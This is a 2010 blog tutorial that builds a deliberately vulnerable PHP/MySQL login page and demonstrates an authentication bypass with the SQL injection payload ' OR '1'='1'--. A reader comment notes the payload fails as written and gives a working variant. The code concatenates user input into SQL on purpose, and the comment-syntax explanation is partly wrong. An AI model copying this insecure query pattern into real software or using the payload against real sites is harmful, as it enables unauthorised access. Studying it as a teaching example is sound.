SQLi: Silly PHP Authentication…

June 18, 2010 at 10:37 pm (Programming, Security, SQL, SQL Injection)

Hey,

I wrote a silly little PHP based authentication page. It uses a MySQL database to store the username and password, presents the user with a login prompt where they can enter their login credentials. If they don’t have any then they can take advantage of it using SQL Injection, let’s take a quick look at it. First you will need to create a MySQL database:

mysql> create table userauth (id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT, username VARCHAR(16) NOT NULL, pswd VARCHAR(32) NOT NULL, PRIMARY KEY(id));
Query OK, 0 rows affected (0.00 sec)
mysql> insert into userauth (id, username, pswd) values (1, "zoidberg", "password");
Query OK, 1 row affected (0.00 sec)
mysql> select * from userauth;
+----+----------+----------+
| id | username | pswd |
+----+----------+----------+
| 1 | zoiddberg | password |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>

Now to create the login page:

<?php
function authenticate_user()
{
header('WWW-Authenticate: Basic realm="Private Area"');
header("HTTP/1.0 401 Unauthorized");
exit;
}
if (!isset($_SERVER['PHP_AUTH_USER'])) {
authenticate_user();
} else {
mysql_connect("database_host", "database_username", "database_password") or die("Can't connect to the fucking database, blaaad!");
mysql_select_db("database_name") or die("Can't select da fucking database b0ss!");
$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0) {
authenticate_user();
} else {
echo "Welcome to the Private Area... :-)";
}
}
?>

Now to take advantage 🙂 Navigate to the page in your browser, and enter the following in the username field:

' OR '1'='1'--

To understand this let’s take a look at the MySQL query:

$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";

So that is what the query looks like, well when we inject ‘ OR ‘1’=’1′– into the username field, it then looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'-- AND pswd='$_SERVER[PHP_AUTH_PW]'";

Remember that — is a MySQL comment, so everything after it gets left out of the query that gets sent to the database. So our query which gets passed to the database looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'--

What happens here is, select username and password from table_name where username is nothing OR true.. this will result in a successful login and give you access to the Private Area 🙂 very simple and contrived example.

Advertisements

1 Comment

  1. flo said,

    hi zoid! did’nt work for me because mysql does not recognize — as a comment as it seems…

    did work with
    user:’ OR ‘1’=’1
    pass:’ OR ‘1’=’1
    though…

    when i use your proposed ‘ OR ‘1’=’1′– the query is the following:

    SELECT username, pswd FROM userauth WHERE username=” OR ‘1’=’1′–‘ AND pswd=’$_SERVER[PHP_AUTH_PW]’

    now mysql throughs an error saying there is a ‘ to be closed, obviously the one right in front of AND. why’s that??

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: